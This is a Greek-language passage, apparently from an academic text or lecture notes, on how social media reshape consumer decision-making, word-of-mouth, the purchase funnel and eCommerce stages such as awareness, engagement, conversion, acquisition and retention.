είναι αυτό με το οποίο συνδέονται και γιατί χρησιμοποιούν συγκεκριμένες εφαρμογές για να το κάνουν. Από τη σκοπιά του καταναλωτή, η χρήση τεχνολογιών επικοινωνίας πληροφοριών

προσφέρει πολλά οφέλη, όπως αποτελεσματικότητα, ευκολία, ευρεία γκάμα πληροφοριών, ευρύτερη επιλογή προϊόντων, ανταγωνιστική τιμολόγηση, μείωση κόστους και ποικιλία προϊόντων. Η online κοινωνική δικτύωση τείνει να ενισχύσει αυτά τα οφέλη, καθώς οι καταναλωτές είναι σε θέση να επικοινωνούν πιο ενεργά. Για παράδειγμα, μέσω της διαδικτυακής κοινωνικής δικτύωσης, τα άτομα μπορούν να αναζητήσουν τις απόψεις άλλων σχετικά με συγκεκριμένα προϊόντα. Με αυτόν τον τρόπο, οι καταναλωτές αποδείχθηκε ότι αποτιμούν τις εκτιμήσεις των ομότιμων τους περισσότερο από τις προσφορές των επιχειρήσεων, υποδεικνύοντας μια στροφή προς τη δύναμη της πειθούς. Κοινωνικά μέσα: Έλξη ή ώθηση για τις επιχειρήσεις Εάν περισσότεροι πελάτες συμμετέχουν στα κοινωνικά μέσα, οι επιχειρήσεις θα πρέπει να συμμετέχουν ακόμη περισσότερο στα κοινωνικά μέσα. Στο παρελθόν, οι έμποροι χρησιμοποιούσαν εκρήξεις ηλεκτρονικού ταχυδρομείου, άμεσο marketing, τηλεπωλήσεις, ενημερωτικούς ιστότοπους, τηλεόραση, ραδιόφωνο και άλλους μηχανισμούς διάδοσης πληροφοριών σχετικά με την επιχείρηση ή τα προϊόντα της. Ο Παγκόσμιος Ιστός χρησιμοποιήθηκε για να παρουσιάσει μηνύματα marketing μέσω προβολής σελίδων και διαφημίσεων, ώστε οι επιχειρήσεις να προσεγγίσουν μεγάλο αριθμό ανθρώπων σε σύντομο χρονικό διάστημα. Χρησίμευσε ως διαφημιστικό εργαλείο που διαμόρφωσε το λεγόμενο “surfer behavior” και όχι ως μέσο που διευκόλυνε την αλληλεπίδραση μεταξύ αγοραστών και πωλητών. Εάν οι επιχειρήσεις επιδιώκουν να δημιουργήσουν αμοιβαία ικανοποιητικές μακροχρόνιες σχέσεις με κρίσιμους χρήστες (π.χ. πωλητές ή πελάτες), απαιτείται μια εναλλακτική στρατηγική βασισμένη στο Web. Συγκεκριμένα, οι επιχειρήσεις θα πρέπει να επιδιώξουν την ανάπτυξη ψηφιακών σχέσεων χρησιμοποιώντας στρατηγικές προώθησης που δίνουν έμφαση στη συν-δημιουργία περιεχομένου και νοήματος. Για το σκοπό αυτό, η επικοινωνία από στόμα σε στόμα μπορεί να είναι ιδιαίτερα χρήσιμη. Φυσικά, οι επιχειρήσεις πάντα μιλούσαν στους πελάτες τους η κρίσιμη διαφορά μεταξύ του παρελθόντος και του παρόντος από αυτή την άποψη είναι ότι τώρα τα εργαλεία ηλεκτρονικής επικοινωνίας επιτρέπουν στους πελάτες να ανταποκρίνονται στις επιχειρήσεις. Αυτό πιέζει τις επιχειρήσεις να υιοθετήσουν μια ψηφιακή παρουσία. Σε απάντηση, ορισμένες επιχειρήσεις έχουν εφαρμόσει τεχνολογίες Web 2.0. Το Web 2.0 είναι κάτι παραπάνω από την εξέλιξη της τεχνολογίας που βασίζεται στο Web: αντιπροσωπεύει μια κοινωνική επανάσταση στους τρόπους με τους οποίους χρησιμοποιούνται αυτές οι τεχνολογίες.

Ιδιαίτερη σημασία για τις επιχειρήσεις που επιθυμούν να επικοινωνήσουν με τους πελάτες τους είναι η εμφάνιση της συμμετοχικής ανταλλαγής πληροφοριών μέσω του Διαδικτύου. Το φαινόμενο αυτό, σε συνδυασμό με τις παγκόσμιες βελτιώσεις στην τεχνολογία της επικοινωνίας και το χαμηλότερο κόστος πρόσβασης στο Διαδίκτυο, θέτει τις βάσεις για σημαντικές αλλαγές στις στρατηγικές ψηφιακού marketing, ιδίως σε σχέση με τη διάσταση του διαφημιστικού μείγματος. Παρόλο που η ανάπτυξη του Web 2.0 παρείχε μερικά εργαλεία για το marketing με βάση τις σχέσεις, ο Σημασιολογικός Ιστός έχει εξαπλωθεί περαιτέρω και έχουν προστεθεί νέες διαστάσεις. Ο Σημασιολογικός Ιστός αντιπροσωπεύει μια εξέλιξη από το περιεχόμενο «μόνο για ανάγνωση» σε μια διεπαφή στην οποία το περιεχόμενο μπορεί να διαβαστεί ή να γραφτεί ('read-write') και τέλος οδηγεί στο 'Executable Web'. Το τελευταίο χαρακτηρίζεται από ατομικές και δυναμικές σχέσεις βασισμένες στην εξατομίκευση, τις έξυπνες έρευνες και τη συμπεριφορική διαφήμιση. Το φαινόμενο αυτό συνεχώς αναπτύσσεται και εξελίσσεται, αλλάζοντας το status της ισχύος της αγοράς από τις επιχειρήσεις στους καταναλωτές. Έτσι, μια online στρατηγική marketing βασισμένη στο περιεχόμενο θα μπορούσε να γεφυρώσει τόσο τα κενά των καταναλωτών όσο και τα φυσικά-εικονικά χάσματα. Με τον τρόπο αυτό, μια τέτοια στρατηγική θα επέτρεπε όχι μόνο πιο αποτελεσματικές στρατηγικές marketing αλλά και ένα νέο παράδειγμα σχέσης επικοινωνίας. Τέλος, η ανταγωνιστική πίεση ενδυναμώνει τις προσπάθειες ψηφιακού marketing.H εξωτερική ανταγωνιστική πίεση διαδραματίζει τον πιο σημαντικό ρόλο στην απόφαση μιας επιχείρησης να χρησιμοποιεί ψηφιακά μέσα για σκοπούς marketing. Ενώ η εσωτερική αποδοτικότητα αντιπροσωπεύει τον δεύτερο σημαντικότερο παράγοντα που οδηγεί τις επιχειρήσεις να υιοθετήσουν στρατηγικές ψηφιακού marketing, ακολουθούμενη από την τακτική από την κορυφή προς τα κάτω. Τα μέσα κοινωνικής δικτύωσης ως μέσο έκφρασης Η επόμενη ενότητα αναλύει τον τρόπο με τον οποίο επηρεάζονται οι καταναλωτές από τα κοινωνικά μέσα ενημέρωσης και προσδιορίζει ποια θα είναι η κρίσιμη φάση της διαδικασίας αγοράς που θα πρέπει να αξιοποιήσουν οι marketers. Σύμφωνα με τη θεωρία περί επεξεργασίας των πληροφοριών για τις επιλογές των καταναλωτών, αναφέρεται ότι υπάρχουν τεράστιες ποσότητες διαφημίσεων που ανταγωνίζονται μεταξύ τους για να προσελκύσουν την προσοχή των ατόμων και το γεγονός ότι τα ανθρώπινα όντα έχουν προφανώς περιορισμένη εγκεφαλική ικανότητα στην

επεξεργασία πληροφορίας καταλήγουμε στο ότι είναι πρόκληση για κάθε ξεχωριστό μήνυμα που θέλουν να περάσουν οι εταιρείες στο κοινό, να καταφέρνει να “ακούγεται” πάνω από εξωγενείς παράγοντες που αποσπούν ή διαστρεβλώνουν το μήνυμα. Κάθε μία από τις πλατφόρμες κοινωνικών μέσων παίζει ρόλο στην παροχή, λήψη και ανταλλαγή πληροφοριών χωρίς περιορισμούς ορίων και, όπως αναφέρθηκε προηγουμένως, τα κοινωνικά μέσα επιτρέπουν αμφίδρομη ροή πληροφοριών. Δεδομένου ότι η ροή της επικοινωνίας δεν έχει απλώς αντίκτυπο στον τρόπο με τον οποίο οι εταιρείες μπορούν να έχουν πρόσβαση στις στοχευμένες ομάδες τους, επηρεάζει όλη τη διαδικασία λήψης αποφάσεων, από την ερμηνεία του μηνύματος, την αναζήτηση διαθέσιμων εναλλακτικών λύσεων, καθώς και τις ενέργειες που πραγματοποιούνται μετά την αγορά. Έτσι, είναι σημαντικό να υποδηλώσουμε ότι η απόρριψη του μηνύματος και η εσφαλμένη ερμηνεία είναι οι πιθανές παγίδες στη ροή της επικοινωνίας. Όσον αφορά το social media marketing, ο μεγαλύτερος φόβος των εταιρειών και των εμπορικών σημάτων είναι να εγκαταλείψουν τον έλεγχο του περιεχομένου και της συχνότητας των πληροφοριών των όσων προβάλουν. Ωστόσο, είναι απαραίτητο για τους marketers να συνειδητοποιήσουν ότι οι συζητήσεις και οι αξιολογήσεις, ως περιεχόμενο που δημιουργείται από τους χρήστες, χρησιμεύουν για να αποδείξουν τη διαφάνεια της κάθε εταιρείας. Όταν η Amazon άρχισε να προσκαλεί άτομα (όπως οι καταναλωτές και οι χρήστες) για να εκφράσουν τις απόψεις τους, δεν υπήρξε καμία διακοπή της τάσης, δηλαδή η σημερινή επικοινωνία έχει μεταβληθεί δραστικά σε ένα μέσο που αποτελείται από εκατομμύρια ανθρώπους που μπορούν πραγματικά να συμβάλουν ή να μειώσουν στο μήνυμα του marketing. Συνεπώς, συγκριτικά με τα παραδοσιακά κανάλια marketing (όπως τηλεόραση, εφημερίδες, περιοδικά κ.λπ.), η διαφήμιση από στόμα σε στόμα (word-of-mouth) βασίζεται αποκλειστικά στα μέσα κοινωνικής δικτύωσης μέσα σε αυτήν την ψηφιακή εποχή και με γεγονός ότι οι ιστότοποι επιτρέπουν στους χρήστες να δημιουργούν τους δικούς τους εικονικούς χώρους στους οποίους ενθαρρύνεται και πυροδοτείται το word-of-mouth. Η συνομιλία στα παραδοσιακά μέσα ενημέρωσης είναι μονόδρομη: η εταιρεία μίλησε, το ακροατήριο άκουσε. Τα μηνύματα μαζικής ενημέρωσης φιλτράρονται από τους ηγέτες της κοινής γνώμης στο μαζικό ακροατήριο, στο οποίο είναι πολύ δύσκολο να εντοπιστεί ο ηγέτης

της κοινής γνώμης, δεδομένου ότι δεν είναι τυπικοί εμπειρογνώμονες και δεν παρέχουν κατ’ ανάγκη συμβουλές, αλλά έχουν κάποια επίδραση στους καταναλωτές. Στη θεωρία των επικοινωνιακών μοντέλων, τα ευρήματα δείχνουν ότι οι ηγέτες της κοινής γνώμης είναι εκείνοι που είχαν αρχικά εκτεθεί σε κάποιο περιεχόμενο των μέσων ενημέρωσης, ερμήνευσαν το μήνυμα αυτού του περιεχομένου με βάσει τη δική τους άποψη και είναι πιο δραστήριοι από τους άλλους, τόσο στην αναζήτηση πληροφοριών όσο και στη μετάδοση αυτών σε άλλους. Σύμφωνα με τους Lazarsfeld και Katz, οι πληροφορίες διοχετεύονται στις μάζες μέσω των ηγετών της κοινής γνώμης, οι οποίοι έχουν μεγαλύτερη αντίληψη και κατανόηση του περιεχομένου των μέσων ενημέρωσης, και έτσι εξηγούν και διαχέουν το περιεχόμενο σε άλλους. Οι ακροατές, με τη σειρά τους, στη συνέχεια τροφοδοτούν τους ηγέτες της κοινής γνώμης. «Ο πελάτης επιδιώκει μεγαλύτερη συμμετοχή με τις εταιρείες που επηρεάζουν τη ζωή του», λέει η Diane Hessan, πρόεδρος και διευθύνων σύμβουλος της Communispace, που περιγράφει την αλλαγή των κοινωνικών μέσων ενημέρωσης και την επιρροή αυτής στους καταναλωτές. Αναφέρει περαιτέρω ότι "οι τάσεις που ανθίζουν, όπως το blogging, οι διαδικτυακές κοινότητες, το flash mobbing, οι buss agents κτλ., δείχνουν ότι οι πελάτες έχουν πολλά να πουν θέλουν να ερωτηθούν και θέλουν να συμμετάσχουν." Όπως ειπώθηκε, τα μέσα κοινωνικής δικτύωσης έβαλαν τους καταναλωτές στο επίκεντρο δίνοντάς τους τη δυνατότητα να συμμετάσχουν σε συνομιλίες, και ούτε οι αποφάσεις λαμβάνονται πλέον από λίγα άτομα και ούτε το μήνυμα θα στέλνεται στις μάζες από τον brand owner. Οι Smith και Zook επεσήμαναν ότι οι πελάτες, πρώτον, μιλούν ο ένας στον άλλο (C2C) όπου μέσα από τις ηλεκτρονικές πλατφόρμες, έχουμε την καλύτερη διευκόλυνση των κοινοτήτων των πελατών, και δεύτερον, πάλι πίσω στην εταιρεία (C2B). Σύμφωνα με το σχήμα , παρατηρείται ότι οι διαδικτυακές κοινότητες έχουν γεφυρώσει το κενό επικοινωνίας μεταξύ εμπορικών σημάτων και καταναλωτών και τελικά αυτό το συγκεκριμένο είδος ροής επικοινωνίας προωθεί μια επικοινωνία ιστού μεταξύ πελατών και ηγετών κοινής γνώμης στους οποίους περιστρέφεται το εμπορικό σήμα. Οι Mangold και Faulds παρουσίασαν ένα νέο παράδειγμα επικοινωνίας που δείχνει ότι η ανεξαρτησία των πλατφορμών των κοινωνικών μέσων έχει ενισχύσει την ικανότητα των καταναλωτών να επικοινωνούν μεταξύ τους, επηρεάζοντας βαθιά τη συμπεριφορά των

καταναλωτών και αποδίδοντας στους καταναλωτές δύναμη που δεν είχαν προηγουμένως στην αγορά. Τελικά, οι πληροφορίες και τα feedbacks κυκλοφορούν διαρκώς μεταξύ των διαδικτυακών κοινοτήτων και τα άτομα μπορούν εύκολα να έχουν πρόσβαση στις πληροφορίες. Εκτός αυτού, λαμβάνοντας υπόψη ότι ένας μέσος χρήστης του Διαδικτύου έχει 669 κοινωνικούς δεσμούς, ως εκ τούτου, το word-of-mouth αναμφίβολα λειτουργεί πολύ γρηγορότερα online συγκριτικά με το offline. Τα άτομα ήταν πιθανό να χρησιμοποιούν τα ίδια παραδοσιακά κανάλια μέσων ενημέρωσης για να διαβάσουν σχετικά με τα καλά ή κακά προϊόντα, από τους άλλους που είχαν εμπειρία από πρώτο χέρι, ωστόσο η εμφάνιση των κοινωνικών μέσων άλλαξε την κατάσταση στις μέρες μας δηλαδή με φθηνότερη και ταχύτερη τεχνολογία, ο βαθμός επικοινωνίας ταξιδεύει μακρύτερα. Στην πραγματικότητα, ο πολλαπλασιασμός των κοινωνικών μέσων είναι ένα σπαθί με δύο άκρες και πράγματι, η προσβασιμότητα και η διαθεσιμότητα σε πληροφορίες προκάλεσαν αλλαγές στην αλλαγή συμπεριφοράς των ατόμων, γεγονός που τελικά οδηγεί σε νέες ανάγκες και αγοραστική συμπεριφορά. Οι επιρροές στη διαδικασία λήψης αποφάσεων Καθώς ο κόσμος των επιχειρήσεων επαναπροσανατολίζεται γύρω από την εξυπηρέτηση και την ικανοποίηση των πελατών, οι επικεφαλής marketing είναι πεπεισμένοι ότι τα κοινωνικά μέσα επηρεάζουν τις πωλήσεις, την αναγνωσιμότητα της επωνυμίας καθώς και την πίστη των καταναλωτών. Ως εκ τούτου, τα δεδομένα των κοινωνικών μέσων επηρεάζουν τις αποφάσεις των επιχειρήσεων ενώ παράγουν προβλέψεις. Σύμφωνα με την έκθεση της βιομηχανίας των social media marketing, η σφαίρα των κοινωνικών μέσων δεν είναι απλά μια μανία στην οποία οι έμποροι προσελκύονται καθώς περισσότερο από το 83% αυτών αποδίδει υψηλή αξία στα κοινωνικά μέσα των επιχειρήσεων τους. Τα κοινωνικά μέσα ενημέρωσης, ως νέα συνιστώσα, περιπλέκουν ακόμη περισσότερο την θεωρία της συμπεριφορικής διαδικασίας σε σχέση με την αγορά, όπου οι αγοραστικές συμπεριφορές δεν επηρεάζονται απλώς από τα παραδοσιακά κανάλια, αλλά επεκτείνονται στις ηλεκτρονικές πλατφόρμες. Οι προτιμήσεις και η σήμανση αποφάσεων εξαρτώνται από τις πληροφορίες που παρέχονται από τα μέρη που δεν ελέγχονται από τους διαδικτυακούς

εμπόρους, όπως αξιολογήσεις από ομότιμους, παραπομπές/συστάσεις, blogs, κοινωνικά δίκτυα και άλλες μορφές περιεχομένου που παράγει ο χρήστης. Κωνσταντινίδης και Κρήνη πρότειναν ένα καινοτόμο μοντέλο διεγέρσεων και αντίδρασης βασισμένο στο πλαίσιο του Kotler, λόγω της αυξανόμενης χρήσης των κοινωνικών μέσων. Σύμφωνα με το διάγραμμα που παρουσιάζεται, σε ένα παραδοσιακό εμπορικό περιβάλλον, οι καταναλωτές είναι πιθανότερο να επηρεαστούν από το παραδοσιακό μείγμα marketing (π.χ. διαφημίσεις στο ραδιόφωνο, την εφημερίδα, την τηλεόραση κλπ.) και άλλα ανεξέλεγκτα ερεθίσματα (π.χ. αξίες, κοινωνίες, δημογραφικά στοιχεία, αντιλήψεις κ.λπ.). Ωστόσο, με τα κοινωνικά μέσα και το Web 2.0, γίνεται επέκταση στο διαδικτυακό μείγμα marketing (π.χ. ηλεκτρονικά μηνύματα, banners κλπ.) και τις εμπειρίες των social media , οι οποίες είναι πολύ πέρα από τον έλεγχο του εμπόρου. Δεδομένου ότι τα περιεχόμενα στα κοινωνικά μέσα ενημέρωσης είναι μάλλον δημοκρατικά και ουδέτερα, σύμφωνα με τους Vollmer και Precourt, οι καταναλωτές στρέφονται συχνότερα σε διάφορους τύπους κοινωνικών μέσων ενημέρωσης για να διεξάγουν τις έρευνές τους και να λαμβάνουν αποφάσεις αγοράς. Οι κριτικές και τα περιεχόμενα που δημιουργούν οι χρήστες στα κοινωνικά μέσα, όπως ταινίες με αξιολόγηση βαθμολογίας, βιβλία, μουσική και πολλά άλλα, συνεπάγονται υψηλό βαθμό προσωπικής γεύσης και υποκειμενικότητας στους χρήστες, όπου αυτές οι αναθεωρήσεις έχουν ένα σημαντικό χαρακτηριστικό το οποίο επηρεάζει τις αγοραστικές αποφάσεις των καταναλωτών. Το χαρακτηριστικό αυτό δεν είναι άλλο από την εμπιστοσύνη. Σύμφωνα με τον Bannon, περισσότερο από το ένα τέταρτο των χρηστών των κοινωνικών μέσων αναφέρουν ότι είναι πιο πιθανό να δώσουν προσοχή σε μια διαφήμιση που βρίσκεται εντός των κοινωνικών τους συνδέσεων (Facebook, Instagram). Επιπλέον, περισσότερο από το ένα τέταρτο των καταναλωτών είναι Ο.Κ όταν βλέπουν τις διαφημίσεις σε ιστότοπους κοινωνικής δικτύωσης προσαρμοσμένες βάσει των πληροφοριών του προφίλ τους. Δηλαδή, τα άτομα τείνουν να εμπιστεύονται αυτά τα περιεχόμενα έτσι ώστε να φιλτράρουν, να προσαρμόζουν και να αξιολογούν αντικειμενικά την ποσότητα των πληροφοριών. Όσον αφορά την φάση των εμπορικών συναλλαγών που εμπλέκονται στη διαδικασία αγοράς με τα κοινωνικά μέσα, ο Evans παρουσίασε το κλασικό μοντέλο διοχέτευσης αγορών ως δείκτη του τρόπου με τον οποίο τα κοινωνικά μέσα έχουν επηρεάσει τη διαδικασία λήψης αποφάσεων των καταναλωτών σε διαφορετικά στάδια. Το σχήμα που φαίνεται στην

διαφάνεια, απεικονίζει το χωνί αγοράς και τις φάσεις αγοράς : της επίγνωσης, της θεώρησης και τέλος της αγοράς/πληρωμής. Η θεώρηση (consideration) αφορά τις δραστηριότητες της διαδικασίας αγοράς και την σύνδεση μεταξύ της συνειδητοποίησης για αγορά και την τελική αγορά, με αποτέλεσμα όλοι οι λαμβανόμενοι παράγοντες όπως η φήμη του εμπορικού σήματος, η δυνατότητα εφαρμογής, οι επιδόσεις και ούτω καθεξής, να ενεργοποιήσουν μια πιθανή αγορά. Το Google διεξήγαγε έρευνα στο Ηνωμένο Βασίλειο, την Ιαπωνία, τον Καναδά και τη Βραζιλία, σχετικά με το ταξίδι ενός πελάτη και την πληρωμή μέσω διαδικτύου, η έρευνα έδειξε ότι διαφορετικά κανάλια marketing επηρεάζουν τον πελάτη σε διαφορετικά σημεία της διαδικασίας αγοράς. Σε όλες τις στοχευμένες χώρες, τα κοινωνικά μέσα χρησιμεύουν ως βοηθητικός δίαυλος για να αναπτύξουν την επίγνωση, την εκτίμηση και την πρόθεση αγοράς όπως αναφέρθηκαν νωρίτερα στο χωνί αγορών. Ο Sliverman έχει επίσης δηλώσει ότι υπάρχουν πολλά εμπορικά σήματα που ανταγωνίζονται για την προσοχή του καταναλωτή, επομένως μια ενδιαφέρουσα δημοσίευση σε ένα blog ή ένα συναρπαστικό βίντεο στο YouTube μπορεί να είναι το stage quo στο οποίο μια προοπτική δέχεται προσοχή και αποκτά επίγνωση(awareness) για ένα προϊόν ή μια υπηρεσία. Κατά τη διάρκεια των σταδίων της διαδικασίας λήψης αποφάσεων από τους καταναλωτές, τα κοινωνικά μέσα είναι εφαρμόσιμα τόσο ως άμεση επίγνωση όσο και ως επικύρωση, δηλαδή υποστηρίζουν την απόφαση αγοράς. Όπως αναφέρθηκε προηγουμένως, μία από τις πιο πολύτιμες πτυχές των κοινωνικών μέσων είναι η οικοδόμηση και η διατήρηση ενός βρόχου ανατροφοδότησης (feedback), καθώς οι συνομιλίες είναι πιο δυναμικές και ρέουν αμφίδρομα. Η διαφορά που έχουν τα κοινωνικά μέσα και επηρεάζουν στη διοχέτευση της διαδικασίας των αγορών είναι η προσβασιμότητα και η διαφάνεια των εμπειρικών δεδομένων που παράγονται από τους σημερινούς πελάτες προς όφελος του επόμενου κύματος πιθανών αγοραστών. Αν και υπάρχει προφανής πτώση στη χρήση των παραδοσιακών καναλιών, τόσο από το marketing όσο και από τις προοπτικές των καταναλωτών, τα παραδοσιακά μέσα ενημέρωσης εξακολουθούν να παίρνουν μέρος της εικόνας από την σκοπιά της επίγνωσης. Επιπλέον, ο Evans επεξήγησε τη σημασία και τον ρόλο του feedback ως εργαλείο επικύρωσης αγοράς, δηλαδή ο καταναλωτής μπορεί να ανακαλύψει ένα συγκεκριμένο προϊόν ή υπηρεσία και μπορεί να το επιβεβαιώσει στο Διαδίκτυο.

Όπως απεικονίζεται στο παρακάτω σχήμα, τα μέσα κοινωνικής δικτύωσης επεκτείνουν τη διοχέτευση αγορών με την προσθήκη της από στόμα σε στόμα διαφήμισης μετά την αγορά, και των περιεχομένων που παράγει ο χρήστης, δηλαδή, η επικοινωνία μετά την αγορά δημιουργείται και επικυρώνεται μέσω της συλλογικής σοφίας του πλήθους. Το word-of-mouth είναι αυτογενές, αυτόνομο και δεν κοστίζει τίποτα, εκτός από το ότι εκδηλώνεται ολοένα και περισσότερο μέσα από τα κοινωνικά μέσα, όπου εξαπλώνεται τόσο μακρύτερα όσο και ταχύτερα. Αντίθετα, η έκθεση μιας διαφήμισης στα παραδοσιακά μέσα περιορίζεται στους άμεσους αναγνώστες ή τους μεταδότες. Είναι αξιοσημείωτο ότι η μετάδοση της από στόμα σε στόμα επικοινωνίας είναι ένας αποτελεσματικός τρόπος για να καταστεί ευκολότερη η λήψη αποφάσεων, αντί της σύγχυσης και της χαμηλής αξιοπιστίας πληροφοριών με τη μορφή παραδοσιακού marketing. Ο κοινωνικός ιστός έχει έντονο αντίκτυπο στον τρόπο με τον οποίο οι άνθρωποι βλέπουν την ικανότητά τους να συλλέγουν αμερόληπτες πληροφορίες, να αναζητούν, να βρίσκουν και να αποκτούν μια ευρύτερη γκάμα προϊόντων και υπηρεσιών και να μιλούν με άλλους για τις πραγματικές εμπειρίες τόσο πριν όσο και μετά την αγορά. Ο κύριος στόχος των εμπόρων, ιδίως με τα κοινωνικά μέσα, είναι να καταφέρουν τους ανθρώπους να μιλάνε για τις θετικές τους εμπειρίες και να επιταχύνουν την εξάπλωση αυτών των περιεχομένων γύρω από τις κοινότητες τους. eCommerce Layers Για να θεωρηθεί μια προωθητική ενέργεια επιτυχημένη θα πρέπει να περάσει από ορισμένα στάδια από τη δεδομένη στιγμή που ο καταναλωτής έρχεται σε πρώτη επαφή με την εταιρεία μέχρι τη στιγμή που δημιουργείται εδραιώνεται η σχέση του με την εταιρεία και διατηρείται πιστότητα. Με τον όρο επίγνωση (awareness) αναφερόμαστε στο πρώτο στάδιο κατά το οποίο ένα brand υπάρχει στην αγορά και ο πελάτης έρχεται σε επαφή με αυτό. Έτσι, ο πελάτης θα πρέπει να είναι σε θέση να αναγνωρίζει το εμπορικό σήμα της εταιρείας. Εάν ο πελάτης δεν μπορεί να αναγνωρίσει το εμπορικό σήμα τότε δεν πρόκειται να επιτευχθεί η αγορά. Ο πελάτης πρέπει να είναι σε θέση να μπορεί να αναγνωρίσει είτε το εμπορικό σήμα της εταιρείας, είτε την συσκευασία του προϊόντος της συγκεκριμένης εταιρείας. Αφού ο δυνητικός πελάτης έρθει σε επαφή με την εταιρεία, το επόμενο βήμα είναι το “Engagement” δηλαδή η σύνδεση του εμπορικού σήματος με τον πελάτη. Σε αυτό το στάδιο δημιουργείται ένα αίσθημα εμπιστοσύνης προς το εμπορικό σήμα. Το engagement πρακτικά

μετράει το βαθμό κατά τον οποίο ο καταναλωτής μεταβάλλει τη ζήτηση του όταν έρχεται σε επαφή με μια προωθητική ενέργεια ενός εμπορικού σήματος. Στο ηλεκτρονικό εμπόριο, έχοντας υπόψιν πως μας ενδιαφέρει η αύξηση της επισκεψιμότητας, το conversion αφορά όλες εκείνες τις διαδικασίες οι οποίες θα προσελκύσουν τον καταναλωτή αυξάνοντας την εμπειρία χρήσης. Έτσι, μπορούμε να θέσουμε συγκεκριμένους στόχους και να εξάγουμε KPI’s, για παράδειγμα μπορούμε να απαντήσουμε σε ερωτήματα όπως πόσοι από τους επισκέπτες του ηλεκτρονικού καταστήματος προχώρησαν σε αγορά του προϊόντος? Μπορεί να απαντηθεί με ένα conversion ratio διαιρώντας τον αριθμό των ατόμων που πραγματοποίησαν αγορά με το σύνολο των επισκεπτών. Σημαντικό βήμα αποτελεί και η απόκτηση νέων πελατών (acquisition) καθώς σε αυτή βασίζεται η μακροχρόνια λειτουργία της εταιρείας. Προκειμένου να εισέλθουν νέοι πελάτες θα πρέπει να δοθεί βαρύτητα στο inbound marketing δηλαδή στην δυνατότητα της εταιρείας να προσελκύει τους πελάτες μέσα από ποιοτικό, ψηφιακό περιεχόμενο στις πλατφόρμες κοινωνικής δικτύωσης ή σε άλλους ιστότοπους (blogs) κλπ. Τέλος, εάν υποθέσουμε ότι υπάρχει μια ροή από επισκέπτες στο ηλεκτρονικό μας κατάστημα, τότε ή διατήρηση ενός ισχυρού δεσμού μεταξύ εταιρείας και πελάτη καθίσταται αναγκαία. Στο επίκεντρο του retention marketing αποτελεί η δέσμευση πως ο πελάτης θα επιστρέψει στο ηλεκτρονικό κατάστημα για να πραγματοποιήσει και επόμενες αγορές. To retention marketing δεν έρχεται να αντικαταστήσει αλλά συνυπάρχει με το acquisition marketing καθώς η προσέλκυση νέων πελατών είναι εξίσου σημαντική με την συντήρηση των υφιστάμενων.

Αξιοποίηση των Social Media Tα κοινωνικά μέσα είναι βαθιά εδραιωμένα στις ζωές μας: αγγίζουν το 82% του παγκόσμιου πληθυσμού του διαδικτύου ηλικίας 15 ετών και άνω, και αντιπροσωπεύουν το μεγαλύτερο μέρος χρήσης του διαδικτύου, περίπου 1 από τα 5 λεπτά που δαπανούνται online παγκοσμίως. Έχει γίνει το νέο πρότυπο επικοινωνίας για την “παράδοση μηνυμάτων” μεταξύ εταιρειών και καταναλωτών. Ως αποτέλεσμα, οι αμερικανικές εταιρείες δαπάνησαν 5,6 δισεκατομμύρια δολάρια για τη διαφήμιση στα κοινωνικά μέσα ενημέρωσης το 2013, ελπίζοντας να προωθήσουν τα προϊόντα και τις υπηρεσίες τους. Ωστόσο, πρόσφατη έρευνα αποκάλυψε ότι αυτές οι διαφημίσεις δεν επηρέασαν την πλειοψηφία των καταναλωτικών αποφάσεων. Όπως σημειώνει ο Gallup: "Τα κοινωνικά μέσα

δεν είναι η ισχυρή και πειστική δύναμη marketing που πολλές εταιρείες ελπίζουν ότι θα είναι ... Οι καταναλωτές είναι πολύ έμπειροι στο να ξεχωρίσουν και να προσαρμόσουν διαφημιστικό περιεχόμενο που σχετίζεται με το Facebook και το Twitter". Παρόλαυτα, πιστεύουμε ότι υπάρχει τρόπος να βελτιωθεί η αποτελεσματικότητα του marketing των κοινωνικών μέσων δικτύωσης μέσω της συμμόρφωσης της ικανοποίησης των χρηστών. Οι θεωρητικοί αυτής της κινητοποίησης υποστηρίζουν ότι οι μη παρατηρήσιμες ανάγκες και επιθυμίες παρακινούν τη συμπεριφορά, σκοπός της οποίας είναι η ικανοποίηση των αναγκών. Η συμμόρφωση της ικανοποίησης των χρηστών στο marketing των κοινωνικών μέσων δικτύωσης μπορεί να επιτευχθεί με την ευθυγράμμιση του περιεχομένου, της διαδικασίας και του στόχου του marketing, με τις ανάγκες των χρηστών να χρησιμοποιούν τα κοινωνικά μέσα. Οι Kietzmann, Hermkens, McCarthy και Silvestre επεσήμαναν ότι μια επιχείρηση πρέπει να αναπτύξει στρατηγικές που είναι σύμφωνες ή προσαρμοσμένες στις διαφορετικές λειτουργίες των κοινωνικών μέσων και στους στόχους της επιχείρησης. Διάφορες έρευνες υποστηρίζουν την αντίληψη ότι η συσχέτιση της διαφήμισης και του περιεχομένου της ιστοσελίδας θα μειώσει τα συναισθήματα παρενόχλησης και θα αυξήσει τις θετικές αντιδράσεις προς τις διαφημίσεις. Ομοίως, για να είναι πιο αποτελεσματικές οι προσπάθειες marketing, πρέπει να είναι σύμφωνες και να ευθυγραμμίζονται με τις ανάγκες των χρηστών των κοινωνικών μέσων. Για να αναπτύξουν τη στρατηγική marketing και να σχεδιάσουν τις κατάλληλες διαφημιστικές εκκλήσεις, είναι σημαντικό οι marketers να εντοπίσουν και να κατανοήσουν τις ανάγκες και τα κίνητρα πίσω από τη χρήση των μέσων κοινωνικής δικτύωσης. Αυτό επιτρέπει στους εμπόρους να επικοινωνούν με το κοινό-στόχο τους σε προσωπικό και ουσιαστικό επίπεδο. Δυστυχώς, εξακολουθούμε να μην έχουμε σαφή κατανόηση των προσδοκιών των χρηστών και των αναγκών τους σχετικά με τις υπηρεσίες που θα ήθελαν από τα social media. Τυπολογία των social media Η τυπολογία αυτή είναι βασιζόμενη σε δύο σημαντικά χαρακτηριστικά των κοινωνικών μέσων: τη φύση της σύνδεσης (profile-based vs. content-based) και το επίπεδο προσαρμογής των μηνυμάτων (broadcast vs. customized). Η σύνδεση profile-based vs. Content-based είναι μια σημαντική διάκριση μεταξύ των social media υπηρεσιών χωρίζει τα κοινωνικά μέσα σε δύο ξεχωριστές ομάδες με διαφορετικούς σκοπούς, α) φύση πληροφοριών και φύση σύνδεσης. Το επίπεδο προσαρμογής περιγράφει το βαθμό στον οποίο προσαρμόζεται μια

